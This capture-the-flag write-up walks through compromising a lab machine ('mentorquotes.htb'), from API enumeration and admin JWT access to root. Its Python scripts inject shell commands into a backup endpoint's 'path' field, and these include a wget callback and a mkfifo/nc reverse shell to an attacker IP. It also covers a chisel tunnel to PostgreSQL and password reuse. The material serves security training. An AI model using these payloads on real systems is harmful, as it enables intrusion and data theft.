Become powerful you have, the #hacker inside of you I sense 💆
Enumeration
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
We have a couple ports open, port 80 runs a web server with the domain name mentorquotes.htb
, we can add this to /etc/hosts and proceed to looking for vhosts:
This gives us a 404 as the site doesn’t allow not providing an endpoint. We can try fuzz for these too:
We can start making requests to the some of the end points but we see we need to authenticate first:
/docs
is the one that appears to load, note this gives a HTML response so should be loaded in a browser:
We have a version number and the name “James”, looking through the different APIs, we can login and register users too:
There’s plenty of ways we can make this request to sign up but out of convenience, I created my request at https://reqbin.com/
. I registered an account under “James” as other users don’t have admin permission:
import requests
from requests.structures import CaseInsensitiveDict
url = "http://api.mentorquotes.htb/auth/signup"
headers = CaseInsensitiveDict()
headers["Content-Type"] = "application/json"
data = """
{
"email": "syn@mentorquotes.htb",
"username": "james",
"password": "synisl33t"
}
"""
resp = requests.post(url, headers=headers, data=data)
print(resp.status_code)
print(resp.text)
Upon a successful register, we get a code 201. We can now sign in using:
import requests
from requests.structures import CaseInsensitiveDict
url = "http://api.mentorquotes.htb/auth/login"
headers = CaseInsensitiveDict()
headers["Content-Type"] = "application/json"
data = """
{
"email": "syn@mentorquotes.htb",
"username": "james",
"password": "synisl33t"
}
"""
resp = requests.post(url, headers=headers, data=data)
print(resp.status_code)
print(resp.text)
We should be returned a JWT token, example:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJzeW5AbWVudG9ycXVvdGVzLmh0YiJ9.hogjtbmOztzJZN7AMxbkYZ7kfbNqx5YQ5PwJKoUbkJY
We can now use this to access different APIs such as /users
and /admin
. The /users
API isn’t massively useful, it only provides us with details for one additional account:
{"id":2,"email":"svc@mentorquotes.htb","username":"service_acc"}
Moving onto /admin/
, this yields more interesting results using the below request:
import requests
from requests.structures import CaseInsensitiveDict
url = "http://api.mentorquotes.htb/admin/"
headers = CaseInsensitiveDict()
headers["Authorization"] = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJzeW5AbWVudG9ycXVvdGVzLmh0YiJ9.hogjtbmOztzJZN7AMxbkYZ7kfbNqx5YQ5PwJKoUbkJY"
resp = requests.get(url, headers=headers)
print(resp.status_code)
print(resp.text)
We get two new functions:
/check
doesn’t appear to work and /backup
does not support GET requests, we can try make a POST request and get the following:
We can add the body
parameter in a JSON object and see what we now get:
So we look to need a body and path parameter. Adding both, our final request is:
import requests
from requests.structures import CaseInsensitiveDict
url = "http://api.mentorquotes.htb/admin/backup"
headers = CaseInsensitiveDict()
headers["Authorization"] = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJzeW5AbWVudG9ycXVvdGVzLmh0YiJ9.hogjtbmOztzJZN7AMxbkYZ7kfbNqx5YQ5PwJKoUbkJY"
headers["Content-Type"] = "application/json"
data = """
{
"body":"synisl33t",
"path":"/tmp/synisl33t"
}
"""
resp = requests.post(url, headers=headers, data=data)
print(resp.status_code)
print(resp.text)
Foothold
We seem to be at a dead-end here with no further APIs to look into, we can start playing around with the “PATH” parameter from the backup request and pretty easily get RCE:
import requests
from requests.structures import CaseInsensitiveDict
url = "http://api.mentorquotes.htb/admin/backup"
headers = CaseInsensitiveDict()
headers["Authorization"] = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJzeW5AbWVudG9ycXVvdGVzLmh0YiJ9.hogjtbmOztzJZN7AMxbkYZ7kfbNqx5YQ5PwJKoUbkJY"
headers["Content-Type"] = "application/json"
data = """
{
"body":"synisl33t",
"path":"/tmp/synisl33t; wget http://10.10.14.205:8000"
}
"""
resp = requests.post(url, headers=headers, data=data)
print(resp.status_code)
We can see the request back to our web server:
Using revshells.com
, we can generate a reverse shell and pass it to our RCE exploit:
import requests
from requests.structures import CaseInsensitiveDict
url = "http://api.mentorquotes.htb/admin/backup"
headers = CaseInsensitiveDict()
headers["Authorization"] = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJzeW5AbWVudG9ycXVvdGVzLmh0YiJ9.hogjtbmOztzJZN7AMxbkYZ7kfbNqx5YQ5PwJKoUbkJY"
headers["Content-Type"] = "application/json"
data = """
{
"body":"synisl33t",
"path":"/tmp/synisl33t;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.205 4443 >/tmp/f;"
}
"""
resp = requests.post(url, headers=headers, data=data)
print(resp.status_code)
We can run the script and capture the request with our netcat listener.
User own
Trying to upgrade our shell unfortunately is futile as we don’t have a bash binary in our current container:
Digging around a bit, we find a db.py
file within the /app/app/
directory:
import os
from sqlalchemy import (Column, DateTime, Integer, String, Table, create_engine, MetaData)
from sqlalchemy.sql import func
from databases import Database
# Database url if none is passed the default one is used
DATABASE_URL = os.getenv("DATABASE_URL", "postgresql://postgres:postgres@172.22.0.1/mentorquotes_db")
# SQLAlchemy for quotes
engine = create_engine(DATABASE_URL)
metadata = MetaData()
quotes = Table(
"quotes",
metadata,
Column("id", Integer, primary_key=True),
Column("title", String(50)),
Column("description", String(50)),
Column("created_date", DateTime, default=func.now(), nullable=False)
)
# SQLAlchemy for users
engine = create_engine(DATABASE_URL)
metadata = MetaData()
users = Table(
"users",
metadata,
Column("id", Integer, primary_key=True),
Column("email", String(50)),
Column("username", String(50)),
Column("password", String(128) ,nullable=False)
)
# Databases query builder
database = Database(DATABASE_URL)
We can’t access this internally but using a chisel proxy we can forward PostgreSQL’s port to us. We transfer the chisel binary over to our target and connect back to our server:
Attacker: sudo ./chisel server --port 6969 --reverse
Target: chmod +x chisel && ./chisel client -v 10.10.14.205:6969 R:5432:172.22.0.1:5432
We can now connect to our postgreSQL server via localhost on our machine:
After connecting, we can move onto enumerating the database. We only have one database of interest:
We can use this database and list available relations:
Querying all users from the users table, we get some password hashes:
We can crack the svc
user’s hash using crackstation and SSH in using the password:
Root own
We can grab our user flag from svc and move onto rooting this box, running linpeas, we see there’s an snmpd.conf
file we can read:
This contains a password we can use:
Using this, we can su over to James. Our path from James to root is fairly simple:
We simply run “sudo sh” and get root.